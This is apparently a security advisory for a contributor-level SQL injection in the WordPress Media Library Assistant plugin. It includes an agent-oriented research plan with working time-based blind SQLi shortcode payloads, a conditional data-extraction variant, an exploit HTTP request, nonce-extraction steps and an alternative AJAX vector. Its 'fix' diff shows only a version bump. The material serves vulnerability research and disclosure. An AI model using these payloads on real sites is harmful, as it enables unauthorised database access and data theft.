Media Library Assistant <= 3.34 - Authenticated (Contributor+) SQL Injection
Description
The Media Library Assistant plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.34 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.34What Changed in the Fix
Changes introduced in v3.35
Source Code
WordPress.org SVNThis vulnerability is a classic **Authenticated SQL Injection** occurring within the **Media Library Assistant (MLA)** plugin. The flaw resides in how the plugin handles specific shortcode attributes or AJAX parameters that influence the construction of SQL queries. Specifically, parameters defining…
Show full research plan
This vulnerability is a classic Authenticated SQL Injection occurring within the Media Library Assistant (MLA) plugin. The flaw resides in how the plugin handles specific shortcode attributes or AJAX parameters that influence the construction of SQL queries. Specifically, parameters defining ORDER BY or WHERE clauses are concatenated into SQL queries without being passed through $wpdb->prepare() or being properly sanitized for SQL identifiers.
Authenticated attackers with Contributor-level permissions can exploit this by injecting SQL commands through shortcode attributes in posts they create. When these posts are rendered, the injected SQL is executed by the server.
1. Vulnerability Summary
- Vulnerability: SQL Injection via unsanitized shortcode attributes or AJAX parameters.
- Affected Version: <= 3.34.
- Vulnerable Component:
MLAArchiveList(shortcode handler) and potentially theMLAQueryengine. - Reason: The plugin dynamically builds SQL queries by concatenating user-supplied attributes (like
mla_item_orderby) into$wpdbmethods without using the WordPress Database abstraction layer's preparation features correctly.
2. Attack Vector Analysis
- Endpoint: Any frontend page or post where shortcodes are processed, or the
admin-ajax.phpendpoint. - Attack Surface: Shortcode attributes in
[mla_archive_list](introduced in 3.31) or[mla_gallery]. - Required Role: Contributor or higher.
- Payload Carrier: The
mla_item_orderbyormla_item_whereattribute within the shortcode.
3. Code Flow
- Entry Point:
MLACoreregisters shortcodes (like[mla_archive_list]). - Shortcode Handling: A user with
edit_posts(Contributor) creates a post containing:[mla_archive_list mla_item_orderby="ID, (SELECT 1 FROM (SELECT SLEEP(5))A)"] - Processing:
MLAArchiveList(defined inincludes/class-mla-shortcode-archive-list.php) parses these attributes. - Query Construction: The attributes are passed to internal query functions (likely in
MLAQuery, referenced inMLAData::initialize). - SQL Sink: The unsanitized
mla_item_orderbystring is concatenated into anORDER BYclause and executed via$wpdb->get_results().
4. Nonce Acquisition Strategy (If required for AJAX)
While the shortcode vector does not require a nonce, MLA AJAX actions like terms_search (defined by MLACore::MLA_ADMIN_TERMS_SEARCH) often do.
If the agent needs to exploit an AJAX action:
- Create a Page: MLA enqueues its media modal scripts when the media library or certain shortcodes are present.
wp post create --post_type=page --post_status=publish --post_title="MLA Test" --post_content='[mla_gallery]' - Navigate and Extract: Use
browser_navigateto the new page. - Extract Nonce: The nonce is stored in the
mla_media_modal_varsobject (defined inMLAModal::JAVASCRIPT_MEDIA_MODAL_OBJECT).// Use browser_eval window.mla_media_modal_vars?.mla_admin_nonce - Verification: The action name associated with this nonce is
mla_admin_nonce_action(fromMLACore::MLA_ADMIN_NONCE_ACTION).
5. Exploitation Strategy (Shortcode Vector)
This is the most reliable path for a Contributor-level attacker.
- Step 1: Authenticate as a Contributor.
- Step 2: Create a Post with a time-based blind SQLi payload.
- Action: Create post.
- Content:
[mla_archive_list mla_item_orderby="ID, (SELECT 1 FROM (SELECT SLEEP(5))A)"]
- Step 3: Trigger Execution by viewing the post.
- Step 4: Analyze Timing. A successful injection will cause a ~5-second delay in the response.
HTTP Request Details:
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=editpost&post_ID=[POST_ID]&post_title=Exploit&content=[mla_archive_list+mla_item_orderby="ID,+(SELECT+1+FROM+(SELECT+SLEEP(5))A)"]&_wpnonce=[NONCE]&publish=Publish
6. Test Data Setup
- User: Create a Contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password. - Plugin State: Ensure MLA is active and Media Modal support is enabled (default).
wp plugin activate media-library-assistant - Media Items: Ensure at least one attachment exists in the library so the archive query has rows to process.
wp media import https://wordpress.org/latest.zip --title="Test Item"
7. Expected Results
- Unperturbed Request: A request to a page with
[mla_archive_list]should return in < 500ms. - Exploited Request: A request to the same page with the malicious
mla_item_orderbyattribute should return in > 5000ms. - Error Logging: If
WP_DEBUGis on, the MySQL error might show a syntax error if the injection is incorrectly terminated, confirming the input reached the query.
8. Verification Steps
After triggering the delay, use wp-cli to prove data extraction (e.g., extracting the database version):
- Modify the shortcode to use a conditional sleep based on the first character of the version:
[mla_archive_list mla_item_orderby="ID, (SELECT 1 FROM (SELECT SLEEP(5))A WHERE VERSION() LIKE '8%')"] - Verify the delay happens only when the condition is true.
9. Alternative Approaches
If mla_item_orderby is patched but mla_item_where is not:
- Payload:
[mla_archive_list mla_item_where="1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))A)"]
If shortcodes are disabled for Contributors:
- AJAX Vector: Use the
mla_admin_action=terms_searchaction.- URL:
/wp-admin/admin-ajax.php - Parameters:
action=mla-media-modal-scripts&mla_admin_action=terms_search&taxonomy=post_tag&search_string=test&mla_admin_nonce=[NONCE] - Injection Point: Inject into the
taxonomyparameter if it's used to build the query dynamically.
- URL:
Summary
The Media Library Assistant plugin for WordPress is vulnerable to an authenticated SQL injection via shortcode attributes (such as mla_item_orderby or mla_item_where) in versions up to 3.34. Attackers with Contributor-level access or higher can exploit this by inserting malicious SQL clauses into shortcodes within posts, which are then concatenated into database queries without proper sanitization or preparation.
Vulnerable Code
// includes/class-mla-shortcode-archive-list.php line 17 class MLAArchiveList { /** * These are the default parameters for archive list display * * @since 3.31 * * @var array */ private static $item_specific_arguments = array( 'itemtag_id' => '', 'itemtag_class' => 'archive-list-item', 'itemtag_attributes' => '', 'itemtag_value' => '', 'itemtag_label' => '', --- // includes/class-mla-data.php line 27 class MLAData { /** * Initialization function, similar to __construct() * * @since 0.1 */ public static function initialize() { // Moved to MLAQuery but retained here for example plugins. self::$search_parameters =& MLAQuery::$search_parameters; self::$query_parameters =& MLAQuery::$query_parameters; add_action( 'save_post', 'MLAData::mla_save_post_action', 10, 1); add_action( 'edit_attachment', 'MLAData::mla_save_post_action', 10, 1); add_action( 'add_attachment', 'MLAData::mla_save_post_action', 10, 1); }
Security Fix
@@ -21,7 +21,7 @@ * * @var string */ - const CURRENT_MLA_VERSION = '3.34'; + const CURRENT_MLA_VERSION = '3.35';
Exploit Outline
The vulnerability can be exploited by an authenticated user with at least Contributor-level permissions. The attacker creates or edits a post and inserts a shortcode such as `[mla_archive_list]` or `[mla_gallery]`. Within the shortcode, the attacker provides a malicious SQL payload via attributes that influence the SQL query structure, specifically `mla_item_orderby` or `mla_item_where`. For example, using a payload like `mla_item_orderby="ID, (SELECT 1 FROM (SELECT SLEEP(5))A)"` will cause the database to pause for 5 seconds when the post is viewed or previewed. Because these attributes are concatenated directly into the SQL statement without being processed by `$wpdb->prepare()`, the attacker can perform time-based blind SQL injection to extract sensitive information from the WordPress database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.